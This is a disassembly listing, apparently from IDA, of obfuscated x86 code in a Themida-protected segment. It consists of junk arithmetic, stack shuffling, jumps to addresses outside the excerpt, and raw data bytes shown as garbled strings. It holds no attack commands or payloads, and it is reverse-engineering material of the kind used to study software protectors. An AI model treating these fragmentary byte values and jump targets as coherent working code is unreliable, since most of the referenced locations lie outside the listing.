xor edx, 5C53719Eh
xor edx, 4F1C0939h
sub ebx, edx
pop edx
xor ebp, ebx
pop ebx
add ebp, 8B040F0Ah
and eax, ebp
mov ebp, [esp]
push eax
jmp loc_541EDB
; ---------------------------------------------------------------------------
db 56h
dd 803FBFBEh, 1E24E943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_541BF2: ; CODE XREF: Themida_:00546A14j
mov edx, 50EE1B39h
jmp loc_54C89D
; ---------------------------------------------------------------------------
aAYSvi db 'ېY(I',0
align 2
loc_541C06: ; CODE XREF: Themida_:0054C49Cj
add ebx, edi
pop edi
sub ebx, eax
sub esp, 4
mov [esp], esi
mov esi, 7FA36843h
neg esi
xor esi, 6A9D2E14h
xor esi, 83D594C7h
sub ebx, esi
jmp loc_54533B
; ---------------------------------------------------------------------------
aZwsma db 'ZWéma',0
align 2
dw 41E9h
dd 80FFFFF7h, 0D9F607F1h, 0E9E8C180h, 0B10Bh, 0C181E189h
dd 4, 2C181h, 0EC810000h, 4, 0E9240C89h, 832h, 242DB951h
dd 0E9816F0Fh, 56521B16h, 47D3EA81h, 0CA017B58h, 0A4A9E9h
dd 2C77FF00h, 0FFF6F7E9h, 4C481FFh, 56000000h, 4F4068h
dd 240C8900h, 4B9h, 8BCE8900h, 0C483240Ch, 0FFF20104h
dd 348B2434h, 4C48124h, 81000000h, 4C4h, 7277E900h, 0A8BF0000h
dd 814C9859h, 36E4C7h, 1FE7813Bh, 814F3A57h, 680AE7EFh
dd 0EF814764h, 8C6CB5A7h, 0F75FFE89h, 0AEC6E9DEh, 0EDD10000h
dd 1BE9FD87h
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541CE7: ; CODE XREF: Themida_:00542D78j
sub edx, 381E6314h
push edx
pop eax
mov edx, [esp]
add esp, 4
jmp loc_5452C1
; ---------------------------------------------------------------------------
dw 15Bh
dd 6E95DE9h, 8100004Fh, 4EAh, 24148700h, 7BC2E9h
db 0
; ---------------------------------------------------------------------------
loc_541D11: ; CODE XREF: Themida_:0054A19Cj
sub eax, 0BD2F518Eh
add edx, eax
pop eax
jmp loc_54854E
; ---------------------------------------------------------------------------
aZ4Ser db '‡4$é¥R',0
align 2
loc_541D26: ; CODE XREF: Themida_:00548EFDj
push ebp
mov ebp, esp
push ecx
mov ecx, 2CE77837h
push esi
mov esi, 4C153C9h
sub esi, 148E259Ah
sub esi, 115A7AE4h
dec esi
xor esi, 0F887AEA2h
and ecx, esi
pop esi
push ecx
jmp loc_546B8D
; ---------------------------------------------------------------------------
loc_541D51: ; CODE XREF: Themida_:00549E93j
push ebx
mov ebx, 2Ch
add ebx, edi
jmp loc_548B9E
; ---------------------------------------------------------------------------
loc_541D5E: ; CODE XREF: Themida_:00545D9Bj
mov ebx, 53211AA6h
mov ebp, 75512BD1h
xor ebp, ebx
pop ebx
neg ebp
or ebp, 3E361C8Eh
add ebp, 5E897136h
sub ebp, 0D76A7896h
add edx, 715A0081h
jmp loc_544330
; ---------------------------------------------------------------------------
loc_541D8A: ; CODE XREF: Themida_:00547793j
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
pop ebx
jmp loc_5428CB
; ---------------------------------------------------------------------------
aRXqs? db 'R¶XQé-?',0
db 0
; ---------------------------------------------------------------------------
loc_541DB1: ; CODE XREF: Themida_:0054B192j
xor eax, ebp
xor ebp, eax
xor eax, ebp
sub esp, 4
mov [esp], edx
mov edx, 0FFFFFFFFh
jmp loc_54A90B
; ---------------------------------------------------------------------------
dw 0EE81h
dd 5B09127Bh, 218AC681h, 0C68100FAh, 4353C59h, 6CCDC681h
dd 0BAE96515h, 40000A6h, 58C300F1h, 66C0B60Fh, 661FEF68h
dd 0E9240489h, 0FFFFF57Ch, 1B8505Ah, 1000000h, 0E98158C1h
dd 50B62441h, 9A02F305h, 68C80133h, 45CCh, 0BF243C89h
dd 339A02F3h, 595FF829h, 5004E883h, 42474FFh, 0E924048Bh
dd 0FEAh, 8104C483h, 4C1h, 4E98300h, 9145E951h, 0E9810000h
dd 674D6BACh, 0A9F9E9h, 6C685200h, 5A61E770h, 6EDC281h
dd 0EA8144E7h, 7D62462Eh, 3DA5E281h, 0F0E947EBh, 5800003Dh
dd 0A6AAE9h
db 0
; ---------------------------------------------------------------------------
loc_541E75: ; CODE XREF: Themida_:0054B9E5j
mov eax, 0D4291B17h
jmp loc_5461FE
; ---------------------------------------------------------------------------
loc_541E7F: ; CODE XREF: Themida_:0054C2CFj
add ebx, 4
jmp loc_545D4A
; ---------------------------------------------------------------------------
dw 3304h
dd 0C8283C2Ch, 0AEE93C04h, 0BF000069h, 3B497E66h, 405FF821h
dd 2069BF57h, 0E7814535h, 118A45FAh, 0D7F7D7F7h, 16C78147h
dd 3160264Fh, 59505FF8h, 8124048Bh, 4C4h, 0FFC80100h, 94E92434h
db 15h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541ECF: ; CODE XREF: Themida_:0054A9C9j
xchg edi, [esp]
pop esp
mov [esp], ebx
jmp loc_54665C
; ---------------------------------------------------------------------------
loc_541EDB: ; CODE XREF: Themida_:00541BE2j
mov eax, esp
jmp loc_54571F
; ---------------------------------------------------------------------------
loc_541EE2: ; CODE XREF: Themida_:0054424Fj
add edi, eax
add edi, 315F03F6h
mov eax, [esp]
add esp, 4
jmp loc_54D13E
; ---------------------------------------------------------------------------
dd 5E2434FFh, 3E54E9h, 0F472E900h, 0EC83FFFFh, 243C8904h
dd 544BB850h, 58E94E80h, 57000063h, 0C519B5BFh, 0DEE7814Bh
dd 8158B744h, 0F02088C7h, 8BF82917h, 0C483243Ch, 5C82904h
dd 6075211Ch, 40360559h, 0DBE960C6h, 5200007Ah, 0CE80F5B6h
dd 0D6C680A4h, 804AEE80h, 33E90CC7h
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_541F57: ; CODE XREF: Themida_:0054805Ej
push ebx
jmp loc_5491F8
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
aSi_0 db '\é‰',1Bh,0
align 2
dw 3CB8h
dd 116704Dh, 0E9042444h, 0B0A1h, 9AFBB53h, 9ABD4D42h, 1B50045h
dd 0B8505BDDh, 1C05921h, 4558C509h, 0F581DDF7h, 19384576h
dd 0E903E5C1h, 3E2Eh, 50241489h, 0F3D2E99Ch, 0F681FFFFh
dd 435D3254h, 58F5EE81h, 0CE816C13h, 424C5B74h, 0FBF4EE81h
dd 0F301D66Ch, 6702685Eh, 1C890000h, 2474FF24h, 48F5B04h
dd 24248B24h, 9CC88566h, 0FFF39BE9h, 8C980FFh, 79E9D9F6h
dd 5800008Ah, 16EAE9h
db 0
; ---------------------------------------------------------------------------
loc_541FED: ; CODE XREF: Themida_:00542706j
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_54D105
; ---------------------------------------------------------------------------
dd 0E9241487h, 4404h, 26E9E389h
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542007: ; CODE XREF: Themida_:0054C577j
mov ebx, 370F6CBEh
xor edx, ebx
push dword ptr [esp]
jmp loc_542E55
; ---------------------------------------------------------------------------
dw 0D889h
dd 1DBD555Bh, 0F7646C03h, 51ED81D5h, 0E92BA415h, 9BDAh
dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B9240C89h, 2
dd 34FFCA01h, 54505924h, 40558h, 12E90000h, 290000A0h
dd 2131E9CBh, 8DBF0000h, 5057C46Eh, 7408F3B8h, 97632D0Fh
dd 0B6E9B600h
db 78h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542073: ; CODE XREF: Themida_:0054CD9Dj
pop edx
jmp loc_54596A
; ---------------------------------------------------------------------------
db 1, 0EAh, 5Dh
aPswe db 'PéwE',0
align 2
dw 0C31h
dd 240C3324h, 0FFF3CEE9h, 50E6D1FFh, 9B119FB8h, 3BFEE913h
dd 0C1810000h, 452F50BFh, 0E981C129h, 452F50BFh, 3A72E9h
dd 4C78300h, 8B243C87h, 0A4E92424h, 8300003Eh, 3C3302C7h
dd 243C3124h, 6671E9h, 70E95A00h, 5E000059h, 104C483h
dd 0BA525EF0h, 24CE40F2h, 58BBE9h, 81E38900h, 4C3h, 4C38300h
dd 0E9241C87h, 83C5h, 1118C181h, 0F9014B75h, 1118E981h
dd 11E94B75h, 0F700003Fh, 29B951D5h, 0E9318E6Eh, 4E69h
dd 5266C828h, 0D80444B6h, 0D0E9F028h, 0FF0000B1h, 48B2434h
dd 79E95624h, 10000A3h, 0F8015DE8h, 286AE9h, 1E1EBA00h
dd 0D33157FAh, 0CEB815Ah, 157927Ch, 0FF525BDAh, 0E9042474h
dd 4EE6h, 1E99E951h, 57550000h, 0A70F76BFh, 0FFFD893Bh
dd 0E95F2434h, 1398h
; ---------------------------------------------------------------------------
loc_54216C: ; CODE XREF: Themida_:00547BD4j
mov ebp, [esp]
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_54D36D
; ---------------------------------------------------------------------------
dw 0EDE9h
dd 83FFFFF1h, 4E902C2h, 55000065h, 8AF6E9h, 0DD895A00h
dd 0ECF5815Bh, 813F990Ah, 200418EDh, 65D3E94Bh, 0E6000000h
dd 0F8B55158h, 0C580C5FEh, 59EE2860h, 0D005E6C0h, 0C6B151E6h
dd 0E1C0D9F6h, 0F6C1FE03h, 80C1FED1h, 0BEE9C8E9h, 6600006Fh
dd 6824048Bh, 28C4h, 9B11E9h
db 0
; ---------------------------------------------------------------------------
loc_5421E5: ; CODE XREF: Themida_:00544513j
or ebp, 26D4590Ah
neg ebp
xor ebp, 4F590992h
add ebp, 0A21E781Ch
mov eax, ebp
jmp loc_54181F
; ---------------------------------------------------------------------------
dd 4C4815Eh, 0E9000000h, 7ECCh, 505156ADh, 0D2405B8h, 0E9C1896Bh
dd 20E4h, 4989E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_542222: ; CODE XREF: Themida_:0054D632j
shl ecx, 6
xor ecx, 3A997244h
jmp loc_542A1C
; ---------------------------------------------------------------------------
dd 5504C483h, 2BDh, 0E9EB0100h, 9209h
; ---------------------------------------------------------------------------
loc_542240: ; CODE XREF: Themida_:005433EBj
mov ebx, 24F86E52h
shr ebx, 3
shr ebx, 6
or ebx, 5F177D07h
xor ebx, 20AE1067h
xor edx, ebx
jmp loc_545E79
; ---------------------------------------------------------------------------
dw 0DFF7h
dd 0BE56h, 0FE290000h, 0E95EF789h, 3C4h, 885AF088h, 24048BC7h
dd 0E9E18951h, 2E26h, 7D57EA81h, 0EA815ECEh, 9665BBE4h
dd 0E95AD189h, 753h, 88DA8852h, 285B5AD5h, 768EE9EBh, 0E95E0000h
dd 5F9Dh, 81D830ACh, 2ECh, 1C896600h, 4EC8324h, 51240489h
dd 48CB050h, 0F6FD0463h, 88BA04D0h, 0AB058C1h, 130CD8F6h
dd 781CE9h, 68565500h, 4A5946CDh, 52F6815Eh, 81089235h
dd 95675EEEh, 7EC8E955h, 2D680000h, 5F7B263Fh, 0C781D7F7h
dd 7B263F30h, 9A4FE9h, 24F5BD00h, 0E5C13C9Ah, 0A4F58105h
dd 0E993449Eh, 41BEh, 4C281h, 0C2810000h, 4, 0E9241487h
dd 2618h, 55E9505Dh, 500005Dh, 46C8B04h, 8158C589h, 2A7684EFh
dd 81EF0171h, 2A7684C7h, 2434FF71h, 4C4835Dh, 2474FF57h
dd 48F5F04h, 24248B24h, 0A0068h, 24048900h, 0FFF013E9h
dd 1EEBB8FFh, 61E98582h, 8B000067h, 54572404h, 1851E9h
db 0
; ---------------------------------------------------------------------------
loc_542379: ; CODE XREF: Themida_:005489CBj
add edi, 1
sub edi, 2FBA4A19h
jmp loc_543149
; ---------------------------------------------------------------------------
dw 0E681h
dd 0EBA4C5Ah, 90F6E9h
db 0
; ---------------------------------------------------------------------------
loc_542395: ; CODE XREF: Themida_:00546487j
push cx
mov cl, 9Bh
and dl, cl
pop cx
push ecx
jmp loc_545D3E
; ---------------------------------------------------------------------------
db 8Bh
dd 54562404h, 4C6815Eh, 52000000h, 5547BD55h, 4BBA2AA7h
dd 292AA755h, 0D6015DEAh, 0A022E95Ah, 0ADE90000h, 5BFFFFEFh
dd 4246C01h, 2434FF5Dh, 0E789575Dh, 4C781h, 0CAE90000h
dd 55FFFFFCh, 2434FF54h, 4C4815Dh, 50000000h, 5064E9h
dd 52565900h, 0A2DFE9h, 28E78100h, 812F846Eh, 2D7F79EFh
dd 0AE59E934h, 0EB010000h, 4E3C15Dh, 605CBE56h, 0F30126DDh
dd 0FFFB015Eh, 2434FF33h, 9948E9h, 2E59BF00h, 0CF813D5Fh
dd 7DB332FDh, 0C105EFC1h, 61E907EFh, 8100000Bh, 0E7258EC3h
dd 41BF5747h, 95DB96Dh, 0EB815FFBh, 7DB9FFDDh, 835BDA01h
dd 0B3E902C2h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54245F: ; CODE XREF: Themida_:0054BF37j
push 65856BEDh
pop ebp
jmp loc_549517
; ---------------------------------------------------------------------------
dw 8957h
dd 4C781E7h, 81000000h, 4C7h, 5A0EE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54247E: ; CODE XREF: Themida_:00542D87j
add esp, 4
jmp loc_54C989
; ---------------------------------------------------------------------------
aFhkqs db 'fhŠQé°',27h,0
align 2
dw 74FFh
dd 8F590424h, 7AE92404h, 5700006Ah, 0C781E789h, 4, 4C781h
dd 3C870000h, 0AFE95C24h, 5B000007h, 8858E688h, 24148BF1h
dd 8004C483h, 0F90012E9h, 8B12C180h, 0C483241Ch, 59C80004h
dd 0B60FC330h, 8734FFC0h, 582434FFh, 83E78957h, 148904ECh
dd 9265E924h, 0C1810000h, 2EE7184Fh, 5208E9C1h, 92D2E9h
dd 26E95100h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542503: ; CODE XREF: Themida_:00545BCAj
add esp, 4
pop dword ptr [esp]
pop esp
idiv cx
push 5AC2h
mov [esp], edx
push esp
pop edx
push ecx
mov ecx, esp
jmp loc_5468FA
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 0B3E90000h, 50000071h, 96E9E089h, 510000A2h
dd 81D3E9h, 243C8B00h, 5204C483h, 0F74032BAh, 0E9DAF72Ah
dd 5A7h, 3C8BF901h, 0E3895324h, 70A3E9h, 2CC18100h, 5E251205h
dd 5659CE01h, 0A1C7E9h
db 0
; ---------------------------------------------------------------------------
loc_542569: ; CODE XREF: Themida_:005491FDj
xor edx, ebx
pop ebx
mov ecx, edx
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
rep movsd
add esp, [edx+38h]
push 62D5h
jmp loc_54D3F8
; ---------------------------------------------------------------------------
dd 4240483h, 50242C8Bh, 42E95854h, 810000A6h, 0EE026BF2h
dd 9E11E927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5425AE: ; CODE XREF: Themida_:0054A180j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_541B5E
; ---------------------------------------------------------------------------
db 80h, 0EFh, 0ABh
dd 535BFD88h, 0DA88EB88h, 0F1B1595Bh, 285AD128h, 240C8BC8h
dd 4C481h, 0D8280000h, 0AAB35366h, 5B66D800h, 0E904EC83h
dd 78DDh, 240C8B66h, 1E0868h, 24348900h, 0C681E689h, 4
dd 7715E9h
db 0
; ---------------------------------------------------------------------------
loc_542605: ; CODE XREF: Themida_:00544585j
jmp loc_541378
; ---------------------------------------------------------------------------
dw 895Ch
dd 2C81240Ch, 0D091F24h, 24148B59h, 7239E9h
db 0
; ---------------------------------------------------------------------------
loc_54261D: ; CODE XREF: Themida_:00548B99j
add ebp, 4
jmp loc_544A09
; ---------------------------------------------------------------------------
dd 7BCA815Bh, 0E90DAF40h, 7F0Fh, 1F17B951h, 81411366h
dd 2E00D6F1h, 0E9CF2147h, 8F1Eh, 476AE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54264E: ; CODE XREF: Themida_:005464CDj
sub edi, ecx
pop ecx
xor edi, offset dword_4A42CC
and edi, 7AC24126h
sub edi, 6E937154h
inc edi
add edi, 64937151h
sub edx, edi
pop edi
jmp loc_54C4E7
; ---------------------------------------------------------------------------
loc_542672: ; CODE XREF: Themida_:005417F7j
mov ebx, 533F79F9h
jmp loc_54420C
; ---------------------------------------------------------------------------
dd 4240483h, 83242C8Bh, 0C58104C4h, 4, 5B1468h, 8888E900h
dd 0F7810000h, 5FC27959h, 2D3C781h, 0FD89D761h, 60BDE9h
dd 243C8B00h, 704CE9h, 4E5C100h, 1088E9h, 0BA525700h, 48A36805h
dd 81E2D14Ah, 0FC52DCCAh, 43E2810Eh, 816FB60Dh, 0D5519DF2h
dd 5AD7895Dh, 1C781h, 0C7810000h, 581B4DA2h, 7F27BD55h
dd 0CD8117F4h, 5AA23A3Fh, 7F4FED81h, 39E93C71h
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5426FB: ; CODE XREF: Themida_:00543B2Bj
push edi
mov edx, [esp]
add esp, 4
pop edi
jmp loc_541FED
; ---------------------------------------------------------------------------
db 66h
dd 6866E1F7h, 89663C81h, 50662414h, 0EC5AE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54271E: ; CODE XREF: Themida_:00543153j
add eax, edi
add eax, 6DD72D0Ch
add eax, 49DB20D1h
pop edi
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
and ecx, esi
pop esi
jmp loc_54D84A
; ---------------------------------------------------------------------------
loc_542740: ; CODE XREF: Themida_:00543BC5j
mov esi, [esp]
add esp, 4
pop eax
retn
; ---------------------------------------------------------------------------
dd 0FFEC2BE9h, 24048FFFh, 7EB0E9h, 50C98100h, 814CE61Fh
dd 0F23F68C1h, 9056E945h, 0B80000h, 1000000h, 1911E9C8h
dd 9BBE0000h, 0C100D30Ch, 0EEC107EEh, 0D8A6808h, 4890000h
dd 3064B824h, 0BB53749Ah, 70B960CFh, 0CB81D3F7h, 0D2417B5h
dd 2DEEE9h, 0E9EF8900h, 558Dh, 42474FFh, 27E2E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5427AE: ; CODE XREF: Themida_:00547051j
pop ebp
add ebp, 6A9A0A1Fh
neg ebp
push edi
jmp loc_546648
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 0FF545524h, 525D2434h, 55B5E9h, 81CA0100h, 936D58EAh
dd 28E95936h, 53FFFFF5h, 0F75A5B52h, 0C1D387D2h, 0D3F708E3h
dd 0FFD1EB81h, 0DE21BC10h, 69E6815Bh, 5168F14Fh, 0F50BD5B9h
dd 0F7D1F73Bh, 1E981D9h, 0E9000000h, 89A3h, 0BCE9DEF6h
dd 0FF0000A5h, 58042474h, 1443E9h, 4B900h, 0F7E90000h
dd 83000085h, 28E904ECh, 5A000040h, 19BEE9h, 36A06800h
dd 1C8B3BA7h, 8D79E924h, 0CFFE0000h, 53B9E9h, 0E9C6FE00h
dd 7414h, 6605E3C0h, 87BB652h, 148B66F3h, 2C48124h, 50000000h
dd 4055854h, 2D000000h, 4, 5C240487h, 50240C89h, 0E5883AB4h
dd 8BEB2858h, 0C483240Ch, 92F38004h, 514DEB80h, 0D1F629B1h
dd 0FFF3A2E9h, 0D9E958FFh, 0C1000022h, 0E78103E7h, 6970533Dh
dd 0E903E7C1h, 0AD64h
; ---------------------------------------------------------------------------
loc_5428AC: ; CODE XREF: Themida_:0054559Ej
jmp loc_541378
; ---------------------------------------------------------------------------
loc_5428B1: ; CODE XREF: Themida_:00541A2Cj
mov ecx, [esp]
jmp loc_54CF7F
; ---------------------------------------------------------------------------
db 68h, 5Fh, 6Bh
dd 34890000h, 1633BE24h, 20E9521Ch
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5428CB: ; CODE XREF: Themida_:00541DA3j
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_546368
; ---------------------------------------------------------------------------
loc_5428D9: ; CODE XREF: Themida_:00546F93j
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edi
push ecx
push 5CA9250Eh
pop ecx
mov edi, 0A356DAF6h
jmp loc_543420
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 24048F54h, 8173E9h, 0E953AC00h, 36B6h, 3358C501h
dd 2C31242Ch, 242C3324h, 0E089505Ch, 405h, 42D00h, 0D2E90000h
dd 0AD00008Ah, 33D968h, 24348900h, 9C6BF068h, 2434FF5Bh
dd 0FFF78AE9h, 245429FFh, 2434FF04h, 0A73FE95Ah, 8B660000h
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
jmp loc_5431C3
; ---------------------------------------------------------------------------
loc_54295F: ; CODE XREF: Themida_:005495B3j
push dword ptr [edi+eax*4]
push 4320h
mov [esp], eax
jmp loc_54C2FE
; ---------------------------------------------------------------------------
db 89h
dd 0CEE95EF2h, 5800006Ch, 0FE51F380h, 3E4D68CBh, 0C890000h
dd 30C3B524h, 907DE9EBh, 0C3800000h, 0C0B60FF2h, 6887048Dh
dd 182Ah, 0E9240489h, 0FFFFE9D4h, 0B6241489h, 8BF5886Dh
dd 0C4812414h, 4, 0E7E9E800h, 0E90000A3h, 0FFFFE9B8h, 0B470B652h
dd 5AF42899h, 8870EC80h, 0C78058E7h, 0E9FE0800h, 2B07h
dd 5001EF80h, 8839B753h, 3BE95BFCh, 68000022h, 4D18h, 0E9240C89h
dd 7441h, 0F6F6EE80h, 0CDEE80DEh, 345AF028h, 0E9C188F6h
dd 26AFh
; ---------------------------------------------------------------------------
loc_542A08: ; CODE XREF: Themida_:005469D8j
mov esi, 55261E7Fh
xor esi, 43752736h
mov eax, esi
pop esi
push esi
jmp loc_549F0A
; ---------------------------------------------------------------------------
loc_542A1C: ; CODE XREF: Themida_:0054222Bj
mov edi, ecx
pop ecx
mov edx, edi
pop edi
sub edi, 701A6C33h
jmp loc_5458A6
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 87000000h, 665C2434h, 9C240CFFh, 0FFE937E9h, 24048BFFh
dd 2517E955h, 0DE680000h, 8900005Eh, 21E92414h, 20FFFFE9h
dd 0E99C2404h, 0FFFFE918h, 0E940478Fh, 0FFFFE910h
; ---------------------------------------------------------------------------
loc_542A68: ; CODE XREF: Themida_:00548881j
add esp, 4
push 4B90h
mov [esp], eax
push esi
jmp loc_549FFD
; ---------------------------------------------------------------------------
aJcqjXs4 db 'ºJCŸj)ÂXé',9,'4',0
dd 16B95100h, 817BB14Eh, 98DAA3E9h, 59C80151h, 6905E9h
dd 0D0895A00h, 8324148Bh, 348B04C4h, 49D5E924h, 0C6810000h
dd 4, 4C681h, 34870000h, 0EB805C24h
db 2Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 2
jmp loc_54CC53
; ---------------------------------------------------------------------------
db 2Ch, 0E1h, 28h
dd 59E104C8h, 3E67E952h, 0E9810000h, 753477h, 8759CA01h
dd 0CE92414h, 81000041h, 8BFCAEAh, 5AD701D5h, 3304C783h
dd 3C31243Ch, 243C3324h, 2434FF5Ch, 0FFF85EE9h, 4C481FFh
dd 52000000h, 7AF6E9h, 58C23100h, 7ED0EA81h, 0D389AEC3h
dd 0FFF66CE9h, 0BBE981FFh, 109535Fh, 0BBC181C1h, 8B09535Fh
dd 82E92404h, 89000091h, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 243C895Ch, 59BDBB53h, 47BF4CA7h, 81B358A6h, 0DC135EEFh
dd 81DF010Fh, 0DC135EC7h, 0E5E95B0Fh, 6600001Ch, 56240C8Bh
dd 5351E689h, 517366BBh, 9F68554Eh, 0E953F636h, 3EB5h
dd 506E0C1h, 37CFAA75h, 0DAE9C201h, 89000044h, 6866241Ch
dd 9DE9545Dh
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542BAB: ; CODE XREF: Themida_:0054D706j
add [esp+4], ecx
pop ecx
jmp loc_549698
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0DFh
dd 0E91D1568h, 8387h
; ---------------------------------------------------------------------------
loc_542BC0: ; CODE XREF: Themida_:0054B9BAj
pop edx
jmp loc_545BC2
; ---------------------------------------------------------------------------
loc_542BC6: ; CODE XREF: Themida_:00546FC6j
xor edx, [esp]
jmp loc_54585E
; ---------------------------------------------------------------------------
loc_542BCE: ; CODE XREF: Themida_:00545F0Ej
add edx, 4
push eax
sub esp, 4
mov [esp], ebx
mov ebx, 4
mov eax, ebx
pop ebx
add edx, eax
jmp loc_5451BB
; ---------------------------------------------------------------------------
aMfq?sux db '¬fQµ?éU•',0
align 4
dd 0F680C5B6h, 0FC0EE95Fh, 875FFFFFh, 0E95C2414h, 95C8h
dd 468h, 0B9515900h, 205F328Bh, 641BE9h
db 0
; ---------------------------------------------------------------------------
loc_542C19: ; CODE XREF: Themida_:00547062j
sub edx, ecx
jmp loc_548EF4
; ---------------------------------------------------------------------------
loc_542C20: ; CODE XREF: Themida_:00543847j
mov eax, esp
add eax, 4
jmp loc_542D41
; ---------------------------------------------------------------------------
loc_542C2C: ; CODE XREF: Themida_:00541842j
mov esp, [esp]
jmp loc_544F83
; ---------------------------------------------------------------------------
aBuPfkss db 'îÇP”KSé»/',0
align 10h
dd 8B24048Fh, 0ED812424h, 3161298Ch, 30C5F581h, 0CD811BA5h
dd 1CB05009h, 30D1C581h, 0E8218100h, 52FFE95Dh, 4F090000h
dd 0C568591Ch, 8900003Bh, 29E9241Ch
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542C77: ; CODE XREF: Themida_:0054B9EDj
push esi
xchg esi, [esp]
inc esi
xchg esi, [esp]
pop esi
or esi, 6BE65E28h
jmp loc_54999D
; ---------------------------------------------------------------------------
db 58h
dd 685BD829h, 643h, 4675E9h
db 0
; ---------------------------------------------------------------------------
loc_542C99: ; CODE XREF: Themida_:0054BAF8j
mov ecx, [esp]
add esp, 4
xor edi, 28104881h
jmp loc_5432B7
; ---------------------------------------------------------------------------
db 81h, 0F2h, 5
dd 11E5163h, 24148BD3h, 0FFEA0BE9h, 24248BFFh, 24040966h
dd 0E6AEE99Ch, 5455FFFFh, 83242C8Bh, 0EC8104C4h, 4, 0B8240489h
dd 5AE9597Dh, 0D826920Dh, 7FFB3552h, 38E95AF9h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542CEF: ; CODE XREF: Themida_:005452E4j
add ebx, eax
sub ebx, 6D23488Ch
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_54B854
; ---------------------------------------------------------------------------
dd 781CF181h, 0BE563F4Fh, 5D1D22A7h, 0F75EF129h, 15EAE9D1h
dd 4BE0000h, 1000000h, 0B8505EF1h, 4, 0E958C101h, 0EA1h
dd 8904EC83h, 51502404h, 2EA8E9h
db 0
; ---------------------------------------------------------------------------
loc_542D41: ; CODE XREF: Themida_:00542C27j
add eax, 4
xchg eax, [esp]
pop esp
shr ecx, 0Ah
sub esp, 4
mov [esp], ecx
push 5A70h
mov [esp], ebx
mov ecx, [esp]
add esp, 4
push 6989h
mov [esp], edx
push ecx
add dword ptr [esp], 381E6314h
pop edx
jmp loc_541CE7
; ---------------------------------------------------------------------------
loc_542D7D: ; CODE XREF: Themida_:0054902Fj
push eax
push ecx
push 2FDD67C4h
mov ecx, [esp]
jmp loc_54247E
; ---------------------------------------------------------------------------
dd 2869EF80h, 5A665BF8h, 4EC81h, 18E90000h, 0FE00003Ah
dd 0CAF580C5h, 0E828F82Ch, 24B8E9h
db 0
; ---------------------------------------------------------------------------
loc_542DAD: ; CODE XREF: Themida_:005476ACj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
or eax, eax
jz loc_542E62
push dword ptr [edi+28h]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
push edx
mov edx, 25131D59h
neg edx
add edx, 73BE785Ch
jmp loc_544802
; ---------------------------------------------------------------------------
db 0B8h, 4, 0
dd 0C2010000h, 45F5E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_542E16: ; CODE XREF: Themida_:0054B38Cj
sub bl, 9Ch
jmp loc_5455DE
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 8B24048Fh, 0C892424h, 0E546E924h, 8FBAFFFFh, 0E900AC4Fh
dd 0FFFFF767h, 815AD031h, 2C15CBEEh, 0E9C60163h, 7D92h
; ---------------------------------------------------------------------------
loc_542E4C: ; CODE XREF: Themida_:00545D50j
xchg ebx, [esp]
pop esp
jmp loc_54B56E
; ---------------------------------------------------------------------------
loc_542E55: ; CODE XREF: Themida_:00542011j
pop ebx
add esp, 4
xor edx, 0A9394AC7h
loc_542E62: ; CODE XREF: Themida_:00542DDEj
; Themida_:00546B40j
push dword ptr [edi+24h]
push edx
mov edx, 596529Eh
jmp loc_547870
; ---------------------------------------------------------------------------
dd 5C241487h, 24048B66h, 8904EC83h, 0EC81242Ch, 4, 0E9242489h
dd 8661h, 3CBC281h, 50528C18h, 0E87BF7B8h, 24442912h, 81595804h
dd 0E87BF7C1h, 0CB295A12h, 5E45E9h, 0A7C38100h, 66688C56h
dd 0BDE930FFh
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542EBB: ; CODE XREF: Themida_:00546713j
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
